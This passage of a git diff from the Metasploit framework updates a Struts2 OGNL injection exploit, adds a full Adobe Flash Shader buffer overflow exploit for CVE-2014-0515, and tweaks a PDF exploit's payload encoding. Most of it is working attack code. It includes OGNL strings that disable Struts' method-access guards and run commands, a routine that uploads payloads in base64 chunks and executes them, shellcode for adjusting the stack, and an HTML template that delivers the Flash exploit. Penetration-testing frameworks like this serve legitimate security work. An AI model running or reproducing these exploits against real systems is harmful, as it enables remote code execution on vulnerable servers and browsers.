'Meder Kydyraliev', # Vulnerability Discovery and PoC
|
||||
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
|
||||
'mihi' #ARCH_JAVA support
|
||||
'mihi', #ARCH_JAVA support
|
||||
'Christian Mehlmauer' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
@ -66,75 +67,106 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
|
||||
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
|
||||
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
|
||||
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
|
||||
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
|
||||
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
|
||||
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
|
||||
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
|
||||
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
|
||||
uri = String.new(datastore['TARGETURI'])
|
||||
uri = normalize_uri(uri)
|
||||
uri.gsub!(/INJECT/,inject) # append the injection string
|
||||
def parameter
|
||||
datastore['PARAMETER']
|
||||
end
|
||||
|
||||
def temp_path
|
||||
return nil unless datastore['TMP_PATH']
|
||||
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
||||
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
||||
end
|
||||
datastore['TMP_PATH']
|
||||
end
|
||||
|
||||
def get_parameter
|
||||
retval = {}
|
||||
return retval unless datastore['GET_PARAMETERS']
|
||||
splitted = datastore['GET_PARAMETERS'].split('&')
|
||||
return retval if splitted.nil? || splitted.empty?
|
||||
splitted.each { |item|
|
||||
name, value = item.split('=')
|
||||
# no check here, value can be nil if parameter is ¶m
|
||||
decoded_name = name ? Rex::Text::uri_decode(name) : nil
|
||||
decoded_value = value ? Rex::Text::uri_decode(value) : nil
|
||||
retval[decoded_name] = decoded_value
|
||||
}
|
||||
retval
|
||||
end
|
||||
|
||||
def execute_command(cmd)
|
||||
junk = Rex::Text.rand_text_alpha(6)
|
||||
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
|
||||
inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
|
||||
uri = normalize_uri(datastore['TARGETURI'])
|
||||
resp = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'version' => '1.1',
|
||||
'method' => 'GET',
|
||||
'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
|
||||
})
|
||||
return resp #Used for check function.
|
||||
resp
|
||||
end
|
||||
|
||||
def exploit
|
||||
#Set up generic values.
|
||||
@payload_exe = rand_text_alphanumeric(4+rand(4))
|
||||
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
||||
pl_exe = generate_payload_exe
|
||||
append = 'false'
|
||||
append = false
|
||||
#Now arch specific...
|
||||
case target['Platform']
|
||||
when 'linux'
|
||||
@payload_exe = "/tmp/#{@payload_exe}"
|
||||
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
|
||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
|
||||
path = temp_path || '/tmp/'
|
||||
payload_exe = "#{path}#{payload_exe}"
|
||||
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
|
||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
|
||||
when 'java'
|
||||
@payload_exe << ".jar"
|
||||
payload_exe = "#{temp_path}#{payload_exe}.jar"
|
||||
pl_exe = payload.encoded_jar.pack
|
||||
exec_cmd = ""
|
||||
exec_cmd = ''
|
||||
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
||||
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
|
||||
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
||||
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
|
||||
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
|
||||
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
|
||||
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
||||
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
||||
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
||||
when 'windows'
|
||||
@payload_exe = "./#{@payload_exe}.exe"
|
||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
|
||||
path = temp_path || './'
|
||||
payload_exe = "#{path}#{payload_exe}.exe"
|
||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
|
||||
else
|
||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Uploading exploit to #{payload_exe}")
|
||||
#Now with all the arch specific stuff set, perform the upload.
|
||||
#109 = length of command string plus the max length of append.
|
||||
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
|
||||
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
|
||||
chunk_length = 2048 - sub_from_chunk
|
||||
chunk_length = ((chunk_length/4).floor)*3
|
||||
chunk_length = ((chunk_length/4).floor) * 3
|
||||
while pl_exe.length > chunk_length
|
||||
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
|
||||
java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
|
||||
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
|
||||
append = true
|
||||
end
|
||||
java_upload_part(pl_exe,@payload_exe,append)
|
||||
java_upload_part(pl_exe, payload_exe, append)
|
||||
print_status("#{peer} - Executing payload")
|
||||
execute_command(chmod_cmd) if target['Platform'] == 'linux'
|
||||
execute_command(exec_cmd)
|
||||
register_files_for_cleanup(@payload_exe)
|
||||
register_files_for_cleanup(payload_exe)
|
||||
end
|
||||
|
||||
def java_upload_part(part, filename, append = 'false')
|
||||
def java_upload_part(part, filename, append = false)
|
||||
cmd = ""
|
||||
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
||||
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
||||
|
@ -151,7 +183,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
t2 = Time.now
|
||||
delta = t2 - t1
|
||||
|
||||
|
||||
if response.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
elsif delta < sleep_time
|
||||
|
|
|
@ -93,7 +93,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
tag = retrieve_tag(cli, request)
|
||||
profile = get_profile(tag)
|
||||
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||
print_status("showme the money")
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player Shader Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
|
||||
vulnerability occurs in the flash.Display.Shader class, when setting specially
|
||||
crafted data as its bytecode, as exploited in the wild in April 2014. This module
|
||||
has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over
|
||||
Windows XP SP3, Windows 7 SP1 and Windows 8.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and exploit in the wild
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0515'],
|
||||
['BID', '67092'],
|
||||
['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],
|
||||
['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => stack_adjust
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
'Retries' => false,
|
||||
'EXITFUNC' => "thread"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
:method => "LoadMovie",
|
||||
:os_name => Msf::OperatingSystems::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') }
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 28 2014",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def stack_adjust
|
||||
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
|
||||
adjust
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("Sending SWF...")
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML...")
|
||||
tag = retrieve_tag(cli, request)
|
||||
profile = get_profile(tag)
|
||||
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
flash_payload = ""
|
||||
get_payload(cli,target_info).unpack("V*").each do |i|
|
||||
flash_payload << "0x#{i.to_s(16)},"
|
||||
end
|
||||
flash_payload.gsub!(/,$/, "")
|
||||
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=flash_payload%>" />
|
||||
<param name="Play" value="true" />
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" )
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
|
@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sploit << self.send(my_target[:rop])
|
||||
sploit << p.encoded
|
||||
|
||||
resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
|
||||
resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-noslashes')
|
||||
cli.send_response(resp)
|
||||
|
||||
# handle the payload
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue